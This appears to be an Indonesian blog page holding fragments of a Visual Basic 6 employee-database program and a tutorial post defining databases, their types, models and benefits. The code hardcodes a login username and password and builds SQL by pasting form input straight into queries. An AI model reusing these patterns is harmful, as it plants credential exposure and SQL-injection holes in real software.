            Adodc1.Refresh
    End Select
End Sub


MODUL FORM KARYAWAN
Public Db As New ADODB.Connection
Public rs As New ADODB.Recordset
Public rs2 As New ADODB.Recordset
Public sql As String

Sub OPENDB()
If Db.State = adStateOpen Then Db.Close
Db.CursorLocation = adUseClient
Db.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source= " & App.Path & _
"\db1.mdb;Persist Security Info=False "
End Sub

Sub ClearFORM(f As Form)
Dim ctl As Control
For Each ctl In f
    If TypeOf ctl Is TextBox Then ctl.Text = ""
    If TypeOf ctl Is ComboBox Then ctl.Text = ""
Next
End Sub

Sub Center(f As Form)
f.Move (Screen.Width - f.Width) / 2, (Screen.Height - f.Height) / 4
End Sub

Sub RubahCMD(f As Form, L0 As Boolean, L1 As Boolean, L2 As Boolean, L3 As Boolean)
f.cmdproses(0).Enabled = L0
f.cmdproses(1).Enabled = L1
f.cmdproses(2).Enabled = L2
f.cmdproses(3).Enabled = L3
End Sub

2. FORM LOGIN

Private Sub Keluar_Click()
Unload Me
End Sub

Private Sub ok_Click()
If username.Text = "siti" And pass.Text = "1234" Then
    Me.Hide
    MenuUtama.Show
Else
    MsgBox "Maaf! Username dan Password yang anda masukkan salah", vbInformation, "pemakai"
End If
End Sub

3. FORM MENU UTAMA



Private Sub Karyawan_Click()
FrmKaryawan.Show
End Sub

Private Sub Keluar_Click()
Unload Me
End Sub
HASIL DARI LISTING PROGRAM
            "Nama='" & Nama.Text & _
            "',Golongan='" & golongan.Text & _
            "',Jabatan='" & jabatan.Text & _
            "',Bagian='" & bagian.Text & _
            "'Where Nik='" & Nik.Text & "'"

Kamis, 20 Oktober 2011

PENGERTIAN DATABASE



A.   Pengertian Database
Istilah “database” berawal dari ilmu komputer. Meskipun kemudian artinya semakin luas, memasukkan hal-hal di luar bidang elektronika, artikel ini mengenai database komputer. Catatan yang mirip dengan database sebenarnya sudah ada sebelum revolusi industri yaitu dalam bentuk buku besar, kuitansi dan kumpulan data yang berhubungan dengan bisnis.
Database (basis data) adalah kumpulan file-file yang mempunyai kaitan antara satu file dengan file yang lain sehingga membentuk data untuk menginformasikan satu perusahaan dan instansi. Bila terdapat file yang tidak dapat dipadukan atau dihubungkan dengan file yang lainnya, berarti file tersebut bukanlah kelompok dari satu database, melainkan membentuk satu database sendiri. Database juga merupakan landasan bagi pembuatan dan pengembangan program aplikasi. Oleh sebab itu, database harus dibuat sedemikian rupa sehingga pembuatan program lebih mudah dan cepat.
Database merupakan salah satu komponen yang penting dalam sistem informasi, karena merupakan basis dalam menyediakan informasi bagi para pemakai. Databse terdiri dari data yang akan digunakan atau diperuntukkan terhadap banyak user, dari masing-masing user akan menggunakan data tersebut sesuai dengan tugas dan fungsinya.

Beberapa Definisi tentang Database :
1.      Menurut Gordon C. Everest :
Database adalah koleksi atau kumpulan data yang mekanis, terbagi / shared, terdefinisi secara formal dan dikontrol terpusat pada organisasi.
2.      Menurut C.J. Date :
Database adalah koleksi “data operasional” yang tersimpan dan dipakai oleh sistem aplikasi dari suatu organisasi.
·        Data input adalah data yang masuk dari luar sistem
·        Data output adalah data yang dihasilkan sistem
·        Data operasional adalah data yang tersimpan pada sistem
3.      Menurut Toni Fabbri :
Database adalah sebuah sistem file-file yang terintegrasi yang mempunyai minimal primary key untuk pengulangan data.
4.      Menurut S. Attre :
Database adalah koleksi data-data yang saling berhubungan mengenai suatu organisasi / enterprise dengan macam-macam pemakaiannya.

Definisi Dasar Struktur Database :
·        Data: Sekumpulan fakta mengenai objek tertentu, orang dan lain-lain yang dinyatakan dengan angka, huruf, gambar, film, suara dan sebagainya yang relevan dan belum mempunyai arti.
·        Informasi: Hasil pengolahan data yang konkrit dan sudah mempunyai arti untuk mencapai suatu tujuan tertentu.
·        Tabel: Merupakan hal yang paling mendasar dalam hal penyimpanan data yang terdiri dari field dan record.
·        Field (kolom): Merupakan elemen dari tabel yang berisikan informasi tertentu yang spesifik tentang subjudul tabel pada sebuah item data.
Syarat-syarat pembentukan Field Name pada tabel:
a)      Harus Unik atau Spesifik
b)      Boleh disingkat
c)      Pemisah sebagai pengganti spasi dalam pembentuk field adalah tanda lambang "_"
Contoh: Kode Barang menjadi KdBarang, KodeBrg, Kd_Brg, Kd_Barang.
·        Record (baris): Sekumpulan data yang saling berkaitan tentang sebuah subjek tertentu, misalnya data seorang siswa akan disimpan dalam record yang terdiri dari beberapa kolom / field.

Sifat-sifat Database :
·        Internal:  Kesatuan (integritas) dari file-file yang terlibat.
·        Terbagi/share:  Elemen-elemen database dapat dibagikan pada para user baik secara sendiri-sendiri maupun secara serentak dan pada waktu yang sama (Concurrent sharing).


B.   Perangkat Untuk Membuat Database
Database dapat dibuat dan diolah dengan menggunakan suatu program komputer, yaitu yang biasa kita sebut dengan software (perangkat lunak). Software yang digunakan untuk mengelola dan memanggil kueri (query) database disebut Database Management System (DBMS) atau jika diterjemahkan kedalam bahasa indonesia berarti “Sistem Manajemen Basis Data”.
 
C.   Tipe Database
Terdapat 12 tipe database, antara lain:
1.      Operational database: Database ini menyimpan data rinci yang diperlukan untuk mendukung operasi dari seluruh organisasi. Mereka juga disebut subject- area databases (SADB), transaksi database, dan produksi database. Contoh: database pelanggan, database pribadi, database inventaris, akuntansi database.
2.      Analytical database: Database ini menyimpan data dan informasi yang diambil dari operasional yang dipilih dan eksternal database. Mereka terdiri dari data dan informasi yang dirangkum paling dibutuhkan oleh sebuah organisasi manajemen dan End-user lainnya. Beberapa orang menyebut analitis multidimensi database sebagai database, manajemen database, atau informasi database.
3.      Data warehouse: Sebuah data warehouse menyimpan data dari saat ini dan tahun- tahun sebelumnya - data yang diambil dari berbagai database operasional dari sebuah organisasi.
4.      Distributed database: Ini adalah database-kelompok kerja lokal dan departemen di kantor regional, kantor cabang, pabrik-pabrik dan lokasi kerja lainnya. Database ini dapat mencakup kedua segmen yaitu operasional dan user database, serta data yang dihasilkan dan digunakan hanya pada pengguna situs sendiri.
5.      End-user database: Database ini terdiri dari berbagai file data yang dikembangkan oleh end-user di workstation mereka. Contoh dari ini adalah koleksi dokumen dalam spreadsheet, word processing dan bahkan download file.
6.      External database: Database ini menyediakan akses ke eksternal, data milik pribadi online - tersedia untuk biaya kepada pengguna akhir dan organisasi dari layanan komersial. Akses ke kekayaan informasi dari database eksternal yang tersedia untuk biaya dari layanan online komersial dan dengan atau tanpa biaya dari banyak sumber di Internet.
7.      Hypermedia databases on the web: Ini adalah kumpulan dari halaman-halaman multimedia yang saling berhubungan di sebuah situs web. Mereka terdiri dari home page dan halaman hyperlink lain dari multimedia atau campuran media seperti teks, grafik, gambar foto, klip video, audio dll.
8.      Navigational database: Dalam navigasi database, queries menemukan benda terutama dengan mengikuti referensi dari objek lain.
9.      In-memory databases: Database di memori terutama bergantung pada memori utama untuk penyimpanan data komputer. Ini berbeda dengan sistem manajemen database yang menggunakan disk berbasis mekanisme penyimpanan. Database memori utama lebih cepat daripada dioptimalkan disk database sejak Optimasi algoritma internal menjadi lebih sederhana dan lebih sedikit CPU mengeksekusi instruksi.
10.  Document-oriented databases: Merupakan program komputer yang dirancang untuk aplikasi berorientasi dokumen. Sistem ini bisa diimplementasikan sebagai lapisan di atas sebuah database relasional atau objek database. Sebagai lawan dari database relasional, dokumen berbasis database tidak menyimpan data dalam tabel dengan ukuran seragam kolom untuk setiap record. Sebaliknya, mereka menyimpan setiap catatan sebagai dokumen yang memiliki karakteristik tertentu. Sejumlah bidang panjang apapun dapat ditambahkan ke dokumen. Bidang yang dapat juga berisi beberapa bagian data.
11.  Real-time databases Real-time: Database adalah sistem pengolahan dirancang untuk menangani beban kerja negara yang dapat berubah terus-menerus. Ini berbeda dari database tradisional yang mengandung data yang terus- menerus, sebagian besar tidak terpengaruh oleh waktu. Sebagai contoh, pasar saham berubah dengan cepat dan dinamis. Real-time processing berarti bahwa transaksi diproses cukup cepat bagi hasil untuk kembali dan bertindak segera. Real-time database yang berguna untuk akuntansi, perbankan, hukum, catatan medis, multi-media, kontrol proses, sistem reservasi, dan analisis data ilmiah.
12.  Relational Database: Database yang paling umum digunakan saat ini. Menggunakan meja untuk informasi struktur sehingga mudah untuk mencari.

D.   Model Database
Database mempunyai dua varian model, yaitu model Post-relational database dan model Object database.
1.      Post-relational database models
Sebuah produk yang menawarkan model data yang lebih umum dari model relasional dan dikenal sebagai post-relational. Model data dalam produk tersebut mencakup hubungan namun tidak dibatasi oleh Prinsip Informasi yang mana mewakili semua informasi dengan nilai-nilai data dalam kaitannya dengan hal itu.
2.      Object database models
Dalam beberapa tahun terakhir,[update], paradigma yang berorientasi pada obyek telah diterapkan dalam bidang-bidang seperti teknik dan spasial database, telekomunikasi dan ilmu pilmiah lainnya. Para konglomerasi pemrograman berorientasi objek dan teknologi database mengarah pada model pemrograman baru yang dikenal sebagai Object database.

E.   Tujuan Database
Setiap manajemen dalam merancang dan menyusun database harus mempunyai tujuan, yaitu:
1.      Membuat agar user mudah mendapatkan data.
2.      Menyediakan tempat penyimpanan data yang relevan.
3.      Menghapus data yang berlebihan.
4.      Melindungi data dari kerusakan fisik.
5.      Memungkinkan perkembangan lebih lanjut di dalam sistem database.

F.    Ciri-ciri Database
Adapun ciri-ciri database adalah:
1.      Sistem yang dapat menyimpan data ke dalam floppy disk atau harddisk.
2.      Sistem yang menganut pengolahan data untuk ditambah, diubah, atau dihapus dengan mudah dan terkontrol.
3.      Data terpisah dari program.

G.  Keuntungan Database
Adapun keuntungan database terhadap sistem pemrosesan adalah:
1.      Kemubajiran data terkurangi.
2.      Integritas data dapat selalu terjaga.
3.      Berbagai data dapat selalu dilakukan oleh setiap user.
4.      Penggunaan data lebih mudah.
5.      Konsistensi data dapat selalu terjaga.

H.   Manfaat Database
Adapun manfaat database adalah:
1.      Sebagai komponen utama atau penting dalam sistem informasi, karena merupakan dasar dalam menyediakan informasi.
2.      Menentukan kualitas informasi yaitu cepat, akurat, dan relevan, sehingga infromasi yang disajikan tidak basi. Informasi dapat dikatakan bernilai bila manfaatnya lebih efektif dibandingkan dengan biaya mendapatkanya.
3.      Mengatasi kerangkapan data (redundancy data).
4.      Menghindari terjadinya inkonsistensi data.
5.      Mengatasi kesulitan dalam mengakses data.
6.      Menyusun format yang standar dari sebuah data.
7.      Penggunaan oleh banyak pemakai (multiple user). Sebuah database bisa dimanfaatkan sekaligus secara bersama oleh banyak pengguna (multiuser).
8.      Melakukan perlindungan dan pengamanan data. Setiap data hanya bisa diakses atau dimanipulasi oleh pihak yang diberi otoritas dengan memberikan login dan password terhadap masing-masing data.
9.      Agar pemakai mampu menyusun suatu pandangan (view) abstraksi dari data. Hal ini bertujuan menyederhanakan interaksi antara pengguna dengan sistemnya dan database dapat mempresentasikan pandangan yang berbeda kepada para pengguna, programmer dan administratornya.

Kesimpulan
Database merupakan salah satu komponen yang penting dalam sistem informasi, karena merupakan basis dalam menyediakan informasi bagi para pemakai. Databse terdiri dari data yang akan digunakan atau diperuntukkan terhadap banyak user, dari masing-masing user akan menggunakan data tersebut sesuai dengan tugas dan fungsinya.
Jadi, mau apapun bidang dan ruang lingkupnya seperti ekonomi, manajemen, dan psikologi pastilah membutuhkan database ini yang dirasakan sangat bermanfaat. Contohnya saja jika dalam bidang psikologi dapat mencari nama mahasiswa psikologi dari nomor npm dan dapat mencari mata kuliah dari nomor kode mata kuliah. Sehingga para pengguna pun dengan mudah dan cepat dalam mencari informasi tersebut.